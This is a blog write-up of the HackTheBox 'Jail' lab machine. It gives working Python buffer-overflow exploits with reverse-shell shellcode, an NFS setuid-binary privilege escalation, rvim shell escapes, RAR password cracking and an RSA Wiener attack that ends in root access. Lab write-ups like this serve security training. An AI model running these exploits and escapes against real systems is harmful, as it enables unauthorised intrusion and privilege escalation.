Booj thoughts on security

HackTheBox - Jail


This box is long! It’s got it all, buffer overflow’s, vulnerable software version, NFS exploits and cryptography. This is a difficult box, not in the techniques it has you apply, but rather in the scope of them. There’s a lot covered in this write-up so in order to keep it relatively concise I’ve included a few links in the references section.


Nmap scan as is tradition.

22/tcp   open  ssh        OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey: 
|   2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
|_  256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
80/tcp   open  http       Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3,4         2049/tcp  nfs
|   100003  3,4         2049/udp  nfs
|   100005  1,2,3      20048/tcp  mountd
|   100005  1,2,3      20048/udp  mountd
|   100021  1,3,4      44459/udp  nlockmgr
|   100021  1,3,4      46298/tcp  nlockmgr
|   100024  1          39149/udp  status
|   100024  1          53848/tcp  status
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
2049/tcp open  nfs_acl    3 (RPC #100227)
7411/tcp open  daqstream?
| fingerprint-strings: 
|   DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, WMSRequest, X11Probe, afp, giop, oracle-tns: 
|_    OK Ready. Send USER command.

Visiting port 80 just shows a nondescript jail cell, drawn in ascii art. Connecting to port 7411 on telnet reveals an odd authentication program, but no strings to suggest easy exploitation or a vulnerable service.

root@kali:~# telnet 7411
Connected to
Escape character is '^]'.
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS admin
ERR Authentication failed.
Connection closed by foreign host.

There’s also an NFS service exposed, which shows a couple of folders we can mount locally.

root@kali:~# showmount -e
Export list for
/opt          *
/var/nfsshare *

Enumerating these didn’t reveal much however.

O Brother, Where Art Thou?

We run a dirbuster on port 80, which after a long wait reveals a directory entitled jailuser, with a folder called dev at the location. Inside this folder we see three interesting files.

If we have a look inside jail.c, we’ll see that it’s the code for the service exposed on port 7411, which is quite handy.

    printf("OK Ready. Send USER command.\n");
    while(1) {

Maybe there’s credentials, or some vulnerability we can exploit? Credentials are pretty obvious from the code, and they’re admin:1974jailbreak but if we actually use them there doesn’t appear to be much we can actually do with the application.

int auth(char *username, char *password) {
    char userpass[16];
    char *response;
    if (debugmode == 1) {
        printf("Debug: userpass buffer @ %p\n", userpass);
    if (strcmp(username, "admin") != 0) return 0;
    strcpy(userpass, password);
    if (strcmp(userpass, "1974jailbreak!") == 0) {
        return 1;
    } else {
        printf("Incorrect username and/or password.\n");
        return 0;
    return 0;

Look closer however and we see something interesting. With the statement strcpy(userpass, password) the password we input is copied into a buffer of length 16…but there’s no checks made on the length of the password itself that we input. It’s merely assumed to be the same length. Can we smash the stack?

Smashing the stack

To confirm the approach, I looked at the file, and indeed we see that there’s stack protections removed. We can execute upon the stack.

gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start

Even more helpful is the debug functionality, which we can see in the code above. It will directly print out the address of the vulnerable buffer, so the issues of performing a remote buffer overflow are removed. Excellent, so this should be simple…right?

Also included is a copy of the binary, so we’ll download this and debug it locally. If you’re using GDB however, a quick point of note. This binary works by forking itself on each server call; in the event of a crash the primary process will still run. Use the below mode in GDB to make the process debug the forked process. You can also use the inferior command to debug the forked process or return to the primary.

(gdb) set follow-fork-mode child
(gdb) set detach-on-fork off

Finding the EIP overflow point in the PASS parameter is quite simple, just use your favourite pattern generator. We pass in a pattern, in this case from metasploit’s pattern create and are greeted with a segmentation fault.

Thread 2.1 "jail" received signal SIGSEGV, Segmentation fault.
0x62413961 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0xfbad0084	-72548220
edx            0xf7faf870	-134547344
ebx            0x0	0
esp            0xffffcba0	0xffffcba0
ebp            0x41386141	0x41386141
esi            0x1	1
edi            0xf7fae000	-134553600
eip            0x62413961	0x62413961
eflags         0x10246	[ PF ZF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

Inputting the value in register $eip into the pattern offset script returns us our EIP offset of 28 bytes.

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 62413961
[*] Exact match at offset 28

So…plan of action. We’ll write in a buffer of 28, write our return address to the address of the userpass buffer+32, and then write our shellcode, which we’ll just generate using msfvenom.

Here’s my exploit for testing it on a binary running locally:

import socket
import sys
import struct

def conv(num):
    return struct.pack("<I", num)

host = ""
port = 7411
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    print "Unable to Connect"

print "Connected"

s.send("USER admin")
print("Sending Admin User")
data = s.recv(1024).decode()

buf = "A"*28
buf += conv(0xFFFFCbf0) #may need to adjust this
buf += "\x90"*10
#msfvenom reverse shell
buf += "\xdb\xd4\xd9\x74\x24\xf4\x58\xbd\x2d\xe9\xdf\xc5\x29"
buf += "\xc9\xb1\x19\x83\xe8\xfc\x31\x68\x16\x03\x68\x16\xe2"
buf += "\xd8\xd8\x04\x32\xc1\x48\xf8\xee\x6f\x6d\x4e\x76\xe6"
buf += "\x90\x63\xf7\x7d\x92\x04\xbc\xea\x48\x9d\xfc\xbc\x1a"
buf += "\xdc\x95\xbe\xe4\xcf\x39\x37\x05\x85\xa7\x1f\x96\x0b"
buf += "\x7f\x16\xf7\xef\xb2\xa8\x7d\x2f\x34\x8f\xcf\xb7\x7c"
buf += "\xcf\x3f\xb8\x7e\x46\xdc\x79\x95\x54\xe2\x99\x66\xd4"
buf += "\x99\x90\xf7\x91\xa2\x53\xe8\xc2\xab\x45\x91\x42\xa7"
buf += "\x35\xa1\x67\x38\xb0\x66\x0f\x3b\x44\x87\x57\x3a\xba"
buf += "\x48\xa7\x86\xbb\x48\xa7\xf8\x76\xc8"

s.send("PASS "+buf)
data = s.recv(1024).decode()

Don’t forget a nopsled to be safe! I’ve kept this section short and sweet as going over the exploit process is going to balloon this writeup, and it’s really not that different from your standard stack buffer overflow. I’ll include a few links at the bottom to assist you brushing up on buffer overflow exploits.

So at this point we should just be able to change the value returned from the remote DEBUG into the EIP and then run it? WRONG!

I attempted every variation I could think of, but nothing was returning a shell remotely. Everything was fine locally but nada if I ran it against Jail. The only explanation at this point could be that there was egress filtering in play. Adjusting to common ports did nothing, so we have to get clever.

I’ll be the first to admit I’m not the best at reading shellcode, but from a cursory glance, this gets the last used socket and attaches it’s file descriptors to an instance of /bin/sh. Rather than create a brand new reverse connection back, we’ll just use the file descriptors and socket we used to connect, allowing us to avoid creating a brand new connection. A good description of a similar technique is found here

I’d highly recommend taking advantage of pwntools for this exploit, as it makes the process of dealing with terminal read and write so much easier. It’ll just return on the same socket and return a shell in the terminal, so not much is required from us.

Here is my finalised exploit code.

from pwn import *
import struct
shellcode = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
payload = "A"*28 + struct.pack("<I",0xffffd610 + 32) + shellcode
r = remote('', 7411)
print r.recv(1024)
r.sendline('USER admin')
print r.recv(1024)
r.sendline('PASS ' + payload)

As we see here, all we need to do is pass r.interactive() to return control to us in the terminal and use our resulting shell.

root@kali:~# python
[+] Opening connection to on port 7411: Done
OK Ready. Send USER command.

OK DEBUG mode on.

[*] Switching to interactive mode
OK Send PASS command.
Debug: userpass buffer @ 0xffffd610
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

We have a shell but we’re running as the user nobody.

Becoming Somebody

Looking back to earlier, we saw that an NFS service was exposed on port 2049. Let’s have a quick look at the exports file to confirm what’s available.

$ cat exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)

We see something very interesting here in the no_all_squash option. Normally, if you connect to an NFS share, regardless of the permissions on your host OS, you’ll be considered an unprivileged user on the remote filesystem when connecting. By enabling the root_squash we can’t just get root privileges on the remote filesystem. However, no_all_squash is enabled we can be authorized as any other user.

This is quite convenient as a quick look at /var/nfsshare’s permissions reveals something very interesting.

drwx-wx--x.  2 root frank    6 Jul  3 20:33 nfsshare

The group is frank, but the drwx-wx--x permissions indicate that he can write to this folder, and any user can execute in this folder. Since the user frank can write to this folder, and the no_all_squash option is enabled for this NFS share, we just need to mount this directory as the user frank and we’ll be able to write to it.

So lets go over the battle-plan here. If we create a user of the same uid as frank and mount the NFS share on our local pc as that user. We can then write an executable to the directory, set it’s permissions to setuid and then in our remote shell, since any user can execute in this folder, we just run the new setuid binary we’ve created. Bish bash bosh!

It might sound a bit confusing but lets show the process. Make sure you install NFS tools as they’re not available on the default Kali.

sudo apt install nfs-common

We confirm Frank’s GID from the remote system.

$ cat /etc/passwd

It’s 1000, so we’ll just create a user with UID 1000 and GID 1000, on our local box.

Local Actions

root@kali:~# useradd frank
root@kali:~# passwd frank
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@kali:~# su - frank
No directory, logging in with HOME=/
$ cat /etc/passwd

Excellent, we’ve created a user frank with UID 1000 and GID 1000. We then want to mount the remote nfsshare directory (do this as root on your local machine).

root@kali:~# mkdir /tmp/nfsshare
root@kali:~# mount -t nfs /tmp/nfsshare

We then switch to our user frank and create a setuid binary. For this I’ll be using the following code to generate the binary.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( int argc, char *argv[] )
	setreuid(1000, 1000);
	printf("ID: %d\n", geteuid());
	execve("/bin/sh", NULL, NULL);

So we switch to user frank, create the setuid file and compile it with gcc. We then set the setuid flag on the binary, so anyone running it will run it as user frank.

root@kali:~# su - frank
No directory, logging in with HOME=/
$ cd /tmp/nfsshare
$ vim setuid.c
No protocol specified
$ gcc setuid.c -o setuid
$ chmod u+s setuid

Remote Actions

Now on the remote machine, we just run the binary we’ve uploaded to the directory and voila!

$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
$ nfsshare/setuid
$ id
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

We’ve achieved user! It’s not going to get much easier from here though!

Privilege Escalation

After some enumeration, we see that the sudo permissions for frank look interesting.

$ sudo -l
Matching Defaults entries for frank on this host:
    !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME
    _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User frank may run the following commands on this host:
    (frank) NOPASSWD: /opt/logreader/
    (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

So I can either run /opt/logreader/ as myself with no password…brilliant! Or we can use a restricted version of vim called rvim on the jail.c file as user adm. Let’s go down that route.

Rvim Escape 1

$ sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

My first port of call was checking the version of vim that was installed.

VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Dec 21 2016 17:00:20)
Included patches: 1-160
Modified by <>
Compiled by <>
Huge version without GUI.  Features included (+) or not (-):
+acl+farsi+mouse_netterm   +syntax
+arabic+file_in_path    +mouse_sgr+tag_binary
+autocmd+find_in_path    -mouse_sysmouse  +tag_old_static
-balloon_eval    +float+mouse_urxvt     -tag_any_white
-browse+folding+mouse_xterm     -tcl
++builtin_terms  -footer+multi_byte      +terminfo
+byte_offset     +fork()+multi_lang      +termresponse
-clientserver    -hangul_input    +netbeans_intg   +title
-clipboard+iconv+path_extra      -toolbar
+cmdline_compl   +insert_expand   +perl+user_commands
+cmdline_hist    +jumplist+persistent_undo +vertsplit
+cmdline_info    +keymap+postscript      +virtualedit
+cryptv+linebreak+python/dyn      +viminfo
+cscope+lispindent      -python3+vreplace

Not much jumps out but we know it’s version 7.4, patch number 1-160 and was compiled on December 21 2016. A browse through the vim issues revealed the following interesting bypass.

This was submitted on March 8th 2017, so this version of vim is likely still vulnerable. We just have to pass the following command into rvim:

:diffpatch $(sh <&2 >&2)

From this we’ll be returned a shell as the adm user.

$ id
uid=3(adm) gid=4(adm) groups=4(adm) context=system_u:system_r:unconfined_service_t:s0

Rvim Escape 2

The intended method, is just to abuse the python feature of rvim. Since you can execute python commands, getting a shell is as trivial as running the following in the same manner as above:

:py import os
:py os.system("/bin/bash")

Keys to the Kingdom

First port of call as our brand spanking new user is to check the home directory.

$ cd ~
$ pwd
$ ls -la
total 4
drwxr-x---.  3 root adm    19 Jul  3 09:11 .
drwxr-xr-x. 23 root root 4096 Dec 28 18:00 ..
drwxr-x---.  3 root adm    52 Jul  3 11:37 .keys

That’s quite an interesting directory. Here I’ll just view the contents and display the full output.

$ cd .keys
$ ls -la
total 8
drwxr-x---. 3 root adm  52 Jul  3 11:37 .
drwxr-x---. 3 root adm  19 Jul  3 09:11 ..
drwxr-x---. 2 root adm  20 Jul  3 11:39 .local
-rw-r-----. 1 root adm 475 Jul  3 11:36 keys.rar
-rw-r-----. 1 root adm 154 Jul  3 09:09 note.txt
$ cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
$ cd .local
$ ls -la
total 4
drwxr-x---. 2 root adm  20 Jul  3 11:39 .
drwxr-x---. 3 root adm  52 Jul  3 11:37 ..
-rw-r-----. 1 root adm 113 Jul  3 11:39 .frank
$ cd .frank
sh: line 16: cd: .frank: Not a directory
$ cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

Okay lets deal with these things one at a time. I’m going to assume this rar file is encrypted but it doesn’t hurt to doublecheck. For this I’ll just convert it to base64.

$ base64 keys.rar

Now I’ll just decode it on my local machine.

root@kali:~# echo UmFyIRoHAM+gApIEAAHJvb3RhdXRob3JpemVkc3Noa2V5LnB1YnI+qg+QiYZnpO86O3+rX46ki9CMd7+qCC09p9xDL5gF8Wgwc7mZK9wkiTpvXO4vmmM50barFVJi55jD3l9J8var5iMCb8+Lrpn2e79rXFKzktBJ2e3/cSLUZRSv33cQFk2+9b43PDDjUD6IQ6FVbjc72sy6/8bMu7k8MYtJWFRHsLTwIXi0ZMrd/vydVFq7vQiUPYbt7H0SscXY4crEf9ann9iQyl6V034tluMZ9VQ6DmkXk53ekSbb3/Ck5/1hb9qj2RpBQUNTW70fQIbDXjcOp+qKerl8cfpDdo7JDRZbmJBuYd5zgFEASKHrew3spqQ/gZrNO6m/VvI/ZUa6DTmqhguHYKC838c9JzzDmW52daeuPMZtdTz2B0Enz5eBdV2XLbofx6ZA3nIYco6DJMvU9NxOfaLgnTj/JWRVAgUjoEgQUdcyWDEWoDYh+ARbAfG+qyqRhF8ujgUqYWNbXY8FxMsrTPdcWGz8348OZsMWH9NS5S8/KeIoGZU1YhfpP/6so4ihWCnWxD17AEAHAA== | base64 -d > keys.rar
root@kali:~# unrar x keys.rar

UNRAR 5.50 freeware      Copyright (c) 1993-2017 Alexander Roshal

Extracting from keys.rar

Enter password (will not be echoed) for 

Okay looks like we’ll need a password for this file. Maybe the other two files above will give us a clue.

Sub me in Coach

The notes.txt file tells us the format of the password required for users on this system.

Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.

The second interesting file is the .frank file which appears to be encoded in some way.

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

A cursory look at the file tells us it’s likely encoded with a substitute cipher. What tells us this? There are repeated characters in the first word; Szszsz is Hahaha in all likelihood and the punctuation is untouched so it’s not using any modern encryption techniques. The repeated keys there also indicate it’s a single key, pushing us very strongly to suspect it’s a substitution cipher.

To test this theory, we’ll use quipqiup with the included hints.

Looks like we were on the money as the top result is:

Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!

Morris, Captain Frank Morris

There’s really only one thing this can be hinting to, the infamous 1962 Alcatraz escape in which three prisoners escaped from the Alcatraz prison. A man named Frank Morris was one of the escapees, and is likely the Frank we’ve seen mentioned so often in our journey through this box.

So we know his last name, and I’ll make an educated guess that he would have chosen the date of his escape as his four digits. All we have left to brute-force is the special character. For this we’ll use crunch.

root@kali:~# crunch 11 11 -o jail-wlist -f /usr/share/crunch/charset.lst symbols-all -t Morris1962@ 

We’ll then convert our rar file to a format that john the ripper and then run our wordlist over the file.

root@kali:~# rar2john keys.rar > jailhash
file name:
root@kali:~# john --format=rar --wordlist=jail-wlist jailhash
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962!      (keys.rar)
1g 0:00:00:00 DONE (2017-12-28 22:32) 20.00g/s 20.00p/s 20.00c/s 20.00C/s Morris1962!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We have our password of Morris1962!. Lets unrar the file and see the public key.

root@kali:~/jail# cat 
-----END PUBLIC KEY-----

Breaking RSA Keys

It’s still a public key, whereas we’re really looking for the private, so we see if it’s weak to any obvious attacks. My choice here is RsaCtfTool, as it has most basic attacks implemented.

root@kali:~/jail/RsaCtfTool# ./ --publickey --private --verbose
[*] Performing hastads attack.
[*] Performing factordb attack.
[*] Performing pastctfprimes attack.
[*] Loaded 71 primes
[*] Performing noveltyprimes attack.
[*] Performing smallq attack.
[*] Performing wiener attack.

It’s vulnerable to the Wiener attack and we have a brand new private key. We’ll now attempt to SSH in to the box.

root@kali:~# vim id_rsa
root@kali:~# chmod 0600 id_rsa
root@kali:~# ssh -i id_rsa
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:i8ngSBp54+Lz0QCHj6yX+qsYfbMSY4mz5Gh3mNdb9HM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# 

At long last…we’re root!!!

I hope you enjoyed my writeup, if you have any questions don’t hesitate to drop me a message.


NFS Security
Rvim Bypass #1
Rvim Bypass #2

Buffer Overflow Resources

comments powered by Disqus